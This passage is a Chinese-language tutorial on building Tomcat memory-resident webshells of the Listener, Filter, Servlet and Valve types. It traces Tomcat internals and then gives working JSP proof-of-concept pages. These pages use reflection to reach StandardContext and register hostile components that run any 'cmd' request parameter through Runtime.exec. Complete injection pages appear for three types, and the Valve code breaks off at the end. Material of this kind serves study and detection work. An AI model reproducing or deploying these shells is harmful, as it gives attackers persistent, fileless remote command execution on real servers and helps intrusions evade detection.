内存马大致可以分为两种,第一种是利用Java Web的组件,如Tomcat下的动态添加Servlet、Filter、Listener的恶意组件,在Spring框架下就是Controller、Intercepter。第二种是修改字节码,如利用Java的Instrument机制,动态注入Agent。

本文分析Tomcat型内存马的四种类型,分别为Listener型、Filter型、Servlet型Valve型;学习内存马之前,还需要了解Java Web三大组件、tomcat、jsp的基础知识。

前置基础

基础知识只写了一些简单介绍

三大组件

Java Web三大组件:Listener、Filter、Servlet

简单介绍如下

  • Listener:它是一个实现了特定接口的Java程序,用于监听一个方法或者属性,当被监听的方法被调用或者属性改变时,就会自动执行某个方法。
  • Filter:它用于拦截用户请求以及服务端的响应,能够在拦截之后对请求和响应做出相应的修改。浏览器发出的请求再发送到Servlet之前会先经过Filter。
  • Servlet:它用来处理客户端发送的请求,并发送给对应的Servlet进行处理

Tomcat架构

Tomcat是java应用服务器,是Servlet容器。

从组件角度看分为Server、Service、Connector、Contaier四部分

  • Server:表示服务器,所有的一切都包含在Server中
  • Service:表示服务,Server中可运行多个Service服务;一个 Service 可以设置多个 Connector,但是只能有一个 Container 容器。
  • Connector:表示连接器,它将Service和Container连接起来,主要就是把客户端的请求转发给Container容器。
  • Contaier:表示容器,是Servlet容器。包括 Engine、Host、Context、Wrapper容器,它们均继承自Container接口。

Contaier层级关系如下:

Engine
└── Host(虚拟主机)
└── Context(Web 应用)
└── Wrapper(Servlet 实例)

Context

Context是Container组件的一种子容器,一个Context对应一个Web应用。

存在三种Context分别为ServletContext、ApplicationContext、StandardContext。

ServletContext接口,用来保存一个Web应用中所有Servlet的上下文信息,可以通过ServletContext来对某个Web应用的资源进行访问和操作。

三种context的关系

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。

Tomcat内存马

Tomcat内存马原理就是可以动态的将恶意组件添加到正在运行的Tomcat服务器中,而组件有Listener、Filter、Servlet,我们可以写恶意的组件,并把它动态注册到tomcat中就可以利用,因此内存马的类型就包含Listener型、Filter型和Servlet型内存马。

Listener型

Listener大致可以分为ServletContextListener、HttpSessionListener、ServletRequestListener三种,其中ServletRequestListener是用来监听ServletRequest的,当客户端访问任意路径时,都会触发ServletRequestListener#requestInitialized()的方法,因此很适合做内存马。

先在tomcat中写一个恶意的Listener测试,看看能不能执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package Listener;  

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebListener
public class ListenerTest implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest)sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}

通过cmd参数传入命令

成功执行命令说明这个恶意Linstener可以利用,接下来就需要利用动态注册的方式把这个Listener添加进tomcat服务器中。

创建Linstener流程分析

想把Linstener动态注册到tomcat中,先调试看一下它的创建流程,看看需要什么条件。

分析如下:

  1. 这里可以看到Standardcontext类的FireRequestInitEvent()方法可以调用我们的Listener

StandardContext#fireRequestInitEvent()源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean fireRequestInitEvent(ServletRequest request) {  

Object instances[] = getApplicationEventListeners();

if ((instances != null) && (instances.length > 0)) {

ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);

for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;

try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instance.getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}
  1. Object instances[] = getApplicationEventListeners();这里定义了一个数组,并通过getApplicationEventListeners方法获取Listener数组

  2. 继续跟进一下getApplicationEventListeners()方法
    可以看到该方法返回了applicationEventListenersList

  3. 因此可以知道Listener实际是储存在applicationEventListenersList中的,因此可以使用addApplicationEventListener方法将恶意Listener添加进去

内存马编写

分析完创建流程 内存马编写思路就清晰了,编写流程如下:

  1. 先获取StandardContext类
  2. 编写恶意Listener
  3. 通过addApplicationEventListener()添加Linstener

获取StandardContext类

在调试过程中可以发现StandardHostValve类可以通过request方法获取StandardContext类,而JSP也内置了request对象,因此可以用request获取StandardContext类

还是老样子先用用反射获取request,然后再获取StandardContext

1
2
3
4
5
<%  
Field req =request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request req1 = (Request) req.get(request); StandardContext context = (StandardContext)req1.getContext();
%>

另一种获取StandardContext方法

1
2
3
4
5
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>

编写恶意Listener

上面已经写过了,这里直接粘贴

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@WebListener  
public class ListenerTest implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest)sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}

添加Listener

1
2
3
4
<%
LinstenerTest linstentest = new LinstenerTest();
context.addApplicationEventListener(linstentest);
%>

合并一起如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="jdk.nashorn.internal.ir.RuntimeNode" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="Listener.ListenerTest" %>
<%@ page import="java.io.IOException" %>


<%!
public class ListenerTest implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest)sre.getServletRequest(); String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace(); } catch (NullPointerException n) {
n.printStackTrace(); } } } public void requestDestroyed(ServletRequestEvent sre) {
} }%>

<%
Field req =request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request req1 = (Request) req.get(request); StandardContext context = (StandardContext)req1.getContext();
ListenerTest linstentest = new ListenerTest();
context.addApplicationEventListener(linstentest);
%>

请求任意路径就可以动态注册Listener,如下看到成功执行命令

Filter型

同理,也可以动态添加恶意Filter,而Filter是在FilterChain中通过doFilter()按顺序一个一个被调用的,因此可以把Filter添加进FilterChain中,

编写一个恶意Filer测试,看看能不能用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package Filter;  

import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import javax.servlet.*;

@WebFilter("/*")
public class FilterTest implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);

}
}

成功执行,说明恶意Filter写的没有问题

Filter流程分析

  1. 打上断点调试

    发现ApplicationFilterChain类下的internalDoFilter()方法调用了我们创建的恶意Filter;跟进看一下,源码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
     private void internalDoFilter(ServletRequest request,  
    ServletResponse response)
    throws IOException, ServletException {

    // Call the next filter if there is one
    if (pos < n) {
    ApplicationFilterConfig filterConfig = filters[pos++];
    try {
    Filter filter = filterConfig.getFilter();

    if (request.isAsyncSupported() && "false".equalsIgnoreCase(
    filterConfig.getFilterDef().getAsyncSupported())) {
    request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
    }
    if( Globals.IS_SECURITY_ENABLED ) {
    final ServletRequest req = request;
    final ServletResponse res = response;
    Principal principal =
    ((HttpServletRequest) req).getUserPrincipal();

    Object[] args = new Object[]{req, res, this};
    SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
    } else {
    filter.doFilter(request, response, this);
    }
    }
    ......#省略
    }
  2. 发现有一个filterConfig数组(一个Filter对应一个filterConfig,用来存储filter上下文信息)且filter是通过filterConfig.getFilter()获取的

    ctrl+左键跟进filters,发现它是ApplicationFilterConfig属性的数组

    且调用了dofilter()方法

  3. 接下来找一下ApplicationFilterChain.filters是在哪里被赋值的

  4. 我们应该往前找,找到了StandardWrapperValve#invoke()方法

  5. StandardWrapperValve#invoke()方法中,通过ApplicationFilterFactory.createFilterChain()方法初始化了一个ApplicationFilterChain

  6. 跟进ApplicationFilterFactory.createFilterChain()方法,看一下FilterChain是怎么创建的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

...
// Request dispatcher in use
filterChain = new ApplicationFilterChain();

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

...

String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {

...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...

filterChain.addFilter(filterConfig);
}

...

// Return the completed filter chain
return filterChain;
}
  1. 通过上面源码总结FilterChain的创建流程
    第一步通过filterChain = new ApplicationFilterChain()创建FilterChain
    第二步通过StandardContext context = (StandardContext) wrapper.getParent();获取StandardContext对象
    第三步通过StandardContext的findFilterMaps()获取FilterMap,其中包含Filter的名称及路径信息
    第四步通过context.findFilterConfig(filterMap.getFilterName())->Filter名称与findFilterConfig获取FilterConfig
    第五步 通过filterChain.addFilter(filterConfig);将filterConfig添加进filterChain中;其中addFilter()方法会把filterconfig添加进Filters中

因此接下来需要把恶意Filter的信息添加进FilterConfig数组中,这样恶意Filter就会被初始化到Filters中。

动态注册Filter条件

调试createFilterChain过程中发现StandardContext包含 filterConfigs、filterMap、filterDefs(filter的定义)三个属性,因此动态注册时需要添加这三个属性。

FilterDef就是对应web.xml中的filter标签

1
2
3
4
<filter>  
<filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>

filterMap

1
2
3
4
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>

内存马编写

  1. 获取StandardContext对象
  2. 创建恶意Filter
  3. 使用FilterDef定义Filter
  4. 创建FilterMap
  5. 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中

获取StandardContext对象
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,可以将ServletContext转化为StandardContext使用

1
2
3
4
5
6
7
8
9
10
11
12
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

恶意Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class FilterTest implements Filter {   
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);

}
}

使用FilterDef定义Filter

1
2
3
4
5
6
String name = "FilterTest";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

创建FilterMap

1
2
3
4
5
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

封装filterConfig和filterDef到filterConfigs

1
2
3
4
5
6
7
8
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);

合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>

<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);%>

<%!
public class FilterTest implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace(); } catch (NullPointerException n) {
n.printStackTrace(); } } chain.doFilter(request, response);
} }%>

<%
FilterTest filter = new FilterTest();
String name = "FilterTest";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig);%>

先访问jsp

执行命令成功

Servlet型

看完前两个就能把整体的流程理解了,Servlet型流程大概也是相同的:
创建一个恶意Servlet->
分析正常Servlet的创建过程->
根据上一步分析找到的注册方法把恶意Servlet动态注册进去。

Servlet接口介绍

大概看一下创建流程,想办法把恶意Servlet添加进去。

  1. 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
  2. 初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
  3. 处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
  4. 销毁:destroy()方法释放资源
  5. 卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作

Servlet接口源码

源码如下:

1
2
3
4
5
6
7
8
9
10
11
public interface Servlet {  

public void init(ServletConfig config) throws ServletException;

public ServletConfig getServletConfig();

public void service(ServletRequest req, ServletResponse res)
throws ServletException, IOException;
public String getServletInfo();
public void destroy();
}

init()它会在创建实例后被调用一次;getServletConfig()方法会返回一个ServletConfig类型的对象,包含servlet初始化和启动参数等;其中最重要的是service(),当每次调用Servlet时都会调用service()方法,该方法中实现了具体对请求的处理。getServletInfo()就是表面意思获取Servlet的详情,比如版本作者信息等;destroy()就是用来释放资源的。

看完接口详情就有写恶意Servlet的思路了,我们可以把执行命令的方法写在service()方法中。

恶意Servlet测试

这里先写一个最简单的恶意Servlet用来测试是否能利用,后续会继续完善
恶意Servlet如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package Servlet;  

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/ServletShell")
public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}

虽然显示404,但是已经成功执行命令,说明恶意Servlet写的没问题

Servlet创建流程及分析

StandardWrapper是 Servlet 容器中包装单个 Servlet 的组件并提供以下功能:

  • 管理 Servlet 的生命周期(初始化、服务和销毁
  • 维护 Servlet 的配置信息(初始化参数等)
  • 处理 Servlet 的安全约束
  • 管理 Servlet 的加载和实例化

分析

我们只需要知道其中两步就能够理解,第一步创建StandardWrapper,第二步加载StandardWrapper

创建StandardWrapper分析

调试分析总结如下

  1. StandardContext类startInternal()中会调用fireLifecycleEvent()解析web.xml文件
  2. 跟进fireLifecycleEvent()看一下
  3. 接下来会走到ContextConfig类下的webConfig()方法,获取web.xml中的各种参数配置
  4. 接着通过configureContext(WebXml webxml)创建并初始化StandardWapper对象

    源码详情与解读如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
     private void configureContext(WebXml webxml) {
context.setPublicId(webxml.getPublicId());
...

for (ServletDef servlet : webxml.getServlets().values()) {

//创建对象
Wrapper wrapper = context.createWrapper();

if (servlet.getLoadOnStartup() != null) {

//设置LoadOnStartup属性 wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
...
wrapper.setOverridable(servlet.isOverridable());

//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);

for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {

context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
}
...
}

最终通过addChild(wrapper),将包装好的StandWrapper添加进ContainerBase的children属性中。并通过addServletMappingDecoded(entry.getKey(), entry.getValue())将url和servlet进行映射。

同时需要注意一下在该方法中还设置了三个属性,分别为LoadOnStartupServletNameServletClass

加载StandardWrapper
  1. 用StandardWrapper的startInternal()方法获取StandardWrapper
  2. 下一步走到loadOnStartup()方法,用来加载wapper,跟进看一下

    其中需要注意存在一个if条件,if (loadOnStartup < 0) { continue; },需要loadOnStartup大于0才能被放进list中,进而才能被wrapper.load加载。

动态注册Servlet

通过分析Servlet的创建,总结一下动态注册Servlet的流程及内存马编写流程

  1. 获取StandardContext对象
  2. 编写恶意Servlet
  3. 通过StandardContext.creatWarpper()创建StandardWrapper对象
  4. 通过StandardWrapper设置上方提到过的三种属性值
  5. 将StandardWrapper添加进StradardContext对象的children属性中
  6. 添加路径映射

首先从第一步开始

获取StandardContext对象

1
2
3
4
5
6
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

或者

1
2
3
4
5
6
7
8
9
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

编写恶意Servlet

上文已经编写过了,直接粘贴

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package Servlet;  

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}

创建Wrapper对象

1
2
3
4
5
6
7
8
9
10
<%
ServletTest ServletTest = new ServletTest();
String name = ServletTest.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(ServletTest);
wrapper.setServletClass(ServletTest.getClass().getName());
%>

将Wrapper添加进StandardContext

1
2
3
4
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/ServletShell",name);
%>

合并一下就是最终POC

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext();%>

<%!

public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace(); }catch (NullPointerException n){
n.printStackTrace(); } } } @Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
} }
%>

<%
ServletTest ServletTest = new ServletTest();
String name = ServletTest.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1);
wrapper.setName(name); wrapper.setServlet(ServletTest); wrapper.setServletClass(ServletTest.getClass().getName());%>

<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/ServletShell",name);
%>

使用时先访问Servlet.jsp路径注册,再访问/ServletShell?cmd执行命令即可

成功执行命令

动态注册流程图

Valve型

Valve型和其他几种没有太大区别,唯一需要了解的就是Valve这个东西。

Valve基础

Tomcat 使用 ​Pipeline(管道) + Valve(阀门)​​ 的机制来处理请求,​Pipeline​ 是一个责任链,包含多个Valve,请求会依次经过这些 Valve 处理。Valve 类似于Filter,用于在请求处理流程中插入自定义逻辑(类似过滤器或拦截器),但是它更贴近底层,且Valve的调用流程也和Filter的调用链类似。最后一个Valve 是 ​Basic Valve,负责调用最终的Servlet/JSP

请求进入 Tomcat​ 后,会按照 ​Engine → Host → Context → Wrapper的顺序逐层传递。它们都有其对应的Valve类,例如StandardEngineValveStandardHostValve等,它们同时维护一个StandardPipeline实例。最终,请求会到达 ​StandardWrapperValve,由它负责调用目标 ​Servlet,完成业务逻辑处理。

Pipeline和Valve接口介绍

跟进一下Pipeline和Valve接口,了解一下详情,方便后续编写。

Pipeline


源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public interface Pipeline extends Contained {

public Valve getBasic();

public void setBasic(Valve valve);

public void addValve(Valve valve);

public Valve[] getValves();


public void removeValve(Valve valve);

public Valve getFirst();

public boolean isAsyncSupported();

public void findNonAsyncValves(Set<String> result);
}

可以看到Pipeline接口有很多对Valve操作的方法,例如,添加、删除、获取Valve等,需要注意addValve()方法,它可以用来添加我们构造好的恶意Valve。

再看一下Valve接口
Valve

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
public interface Valve {

public Valve getNext();

public void setNext(Valve valve);

public void backgroundProcess();

public void invoke(Request request, Response response)
throws IOException, ServletException;

public boolean isAsyncSupported();
}

可以看到其中有一个invoke()方法需要注意,我们编写恶意Valve时就需要重写invoke()方法,来实现我们的内存马。其余的方法,getNext()是用来获取下一个valve的,前文已经说过了,Valve是Filter类似,有责任链;setNext(Valve valve)用来设置当前阀门(Valve)的下一个处理节点。

请求处理流程分析

既然它和Filter类似,编写内存马流程也是相同的,先编写一个恶意Valve,再通过动态注册添加进去,接下来分析一下请求处理流程和看一下Valve是怎么被调用的以便于找到的动态注册添加恶意Valve的方法。

在 Tomcat 中,​HTTP 请求消息从​Connector接收后,经过一系列容器(Container)处理,最终到达目标 Servlet。
其中CoyoteAdapter#service是用来连接Connector和容器的,跟进一下该方法看看是怎么传递的消息的。

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res)
throws Exception {

Request request = (Request) req.getNote(ADAPTER_NOTES);
Response response = (Response) res.getNote(ADAPTER_NOTES);

if (request == null) {
request = connector.createRequest();
request.setCoyoteRequest(req);
response = connector.createResponse();
response.setCoyoteResponse(res);

request.setResponse(response);
response.setRequest(request);

req.setNote(ADAPTER_NOTES, request);
res.setNote(ADAPTER_NOTES, response);

req.getParameters().setQueryStringCharset(connector.getURICharset());
}
...
req.getRequestProcessor().setWorkerThreadName(THREAD_NAME.get());

try {
postParseSuccess = postParseRequest(req, request, res, response);
if (postParseSuccess) {
//check valves if we support async
request.setAsyncSupported(
connector.getService().getContainer().getPipeline().isAsyncSupported());
connector.getService().getContainer().getPipeline().getFirst().invoke(
request, response);
}

其中需要注意的是这一串

逐一解读
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)

其中connector.getService()可以获取一个StandardService对象,这样就变成了StandardService.getContainer().getPipeline(),后边的先不看,它又可以获取一个StandardPipeline对象,这样就变成StandardPipeline.getFirst(),它可以获得第一个Valve。

最终变为StandardEngineValve.invoke(),来处理业务逻辑。

后续也会继续调用下一个Valve,流程图如下:

动态注册Valve

通过分析上述流程,总结得到动态注册Valve的流程

  1. 获取StandardContext对象,再通过它获取StandardPipeline对象
  2. 编写恶意Valve
  3. 通过StandardPipeline.addValve()动态添加我们编写的恶意Valve

获取StandardContext与StandardPipeline

还是通过反射获取

1
2
3
4
5
6
7
8
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

Pipeline pipeline = standardContext.getPipeline();
%>

编写恶意Valve

接收一个cmd参数,并调用一个Runtime执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%!
class ValveShell extends ValveBase {

@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
}
%>

添加恶意Valve

使用addValve添加

1
2
3
4
<%
ValveShell valveshell = new ValveShell();
pipeline.addValve(valveshell);
%>

最终内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
